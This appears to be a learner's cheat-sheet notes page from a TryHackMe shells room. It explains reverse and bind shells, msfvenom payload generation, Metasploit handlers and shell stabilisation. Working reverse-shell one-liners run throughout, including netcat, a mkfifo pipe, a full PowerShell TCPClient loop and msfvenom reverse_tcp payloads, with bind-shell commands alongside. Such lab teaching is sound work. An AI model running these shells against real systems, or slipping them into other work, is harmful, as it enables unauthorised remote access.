Reverse Shells¶
https://tryhackme.com/room/introtoshells
Good ports to use are 80 (http), 443 (https), 53 (dns) because they are usually not blocked by firewalls.
A reverseshell is a script written in a language the (web)server understands. It might by a php script if executed by the php server or a bash-script for a cron job. The biggest difference is that the victim-server will call the attacker-server which means the victim-server will hold information about the attacker!
- Attacker:
sudo nc -lvnp 443
(sudo only for < 1024 port) - Victim:
nc <attacker-ip> <port> -e /bin/bash
In case nc
doesn't support interactive mode on connection you can use this workaround instead:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
The command first creates a named pipe at
/tmp/f
. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly intosh
, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.
msfvenom -> msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'
* msfvenom -p cmd/unix/reverse_netcat lhost=$IP lport=$PORT R
* msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=$IP LPORT=$PORT
msfconsole -> use multi/handler
* options
* set payload <payload>
* set LHOST <local ip>
* set LPORT <local port>
* run -j
* wait for reverse shell
* session 1
to activate the staged shell
For powershell you can use this one-liner (change <ip>
and <port>
):
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Some links where to get reverse shell scripts:
- PayloadsAllTheThings - Methodology and Resources/Reverse Shell Cheatsheet.md
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://www.revshells.com/
Bind Shells¶
A bind shell is the opposite of a reverse shell. The attacker sets a bind shell on the victim server and connects to it to gain a shell.
- Victim:
nc -lvnp <port> -e "cmd.exe"
(or /bin/bash) - Attacker:
nc <victim-ip> <port>
In case nc
doesn't support the -e
option (execute this on connection) you can use this workaround instead:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
The command first creates a named pipe at
/tmp/f
. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly intosh
, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.
Upgrade dump shell¶
Remote Shells are fragile. They loose connection, can't use autocomplete and when pressing ctrl-c to stop a remote program you will kill the shell connection.
One way to improve this is by spawning another shell in the remote shell.
python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e "os.execute('/bin/sh')"
Stabilizing the shell¶
To really get a stable shell you can use different techniques:
- the python way
python -c 'import pty;pty.spawn("/bin/bash")'
- spawns a shell in the remote shell
export TERM=xterm
- gives access to term commands like
clear
- gives access to term commands like
ctrl-z
,stty raw -echo; fg
- this will background the shell, disable the current remote shell echo (to gain auto-complete, ctrl-c, arrow keys) and foregrounds the remote shell again.
- in case the remote shell dies and you can't see any typings, use
reset<enter>
- rlwrap
- install via
sudo apt install rlwrap
- use
rlwrap nc -lvnp <port>
- this will give a much stable shell from beginning
ctrl-z
,stty raw -echo; fg
- this will background the shell, disable the current remote shell echo (to gain auto-complete, ctrl-c, arrow keys) and foregrounds the remote shell again.
- in case the remote shell dies and you can't see any typings, use
reset<enter>
For all the solutions you will not be able to use editors because the remote shell doesn't know your shell-resolution. To get this information use stty -a
in a local shell and note cols
and rows
.
After that switch to the remote shell and call stty rows <num>
and stty cols <num>
.
Interactive vs Non-Interactive Shells¶
Local shells are usually interactive, that means you can interact with interactive applications like ssh. Remote shells can be interactive but may also non-interactive. In case it's non-interactive you should check the manuals of the applications to call it in a way where the interactive part is not necessary.
Talking about socat
¶
socat is able to create a stable remote shell without modifying it after connection. The downside is that it's usually not installed on the attacker or victim server so you need to get it onto the other server first.
The upside is that socat is the only one that can use selfsigned certificates to secure the connection, removing the ability to snoop on the line.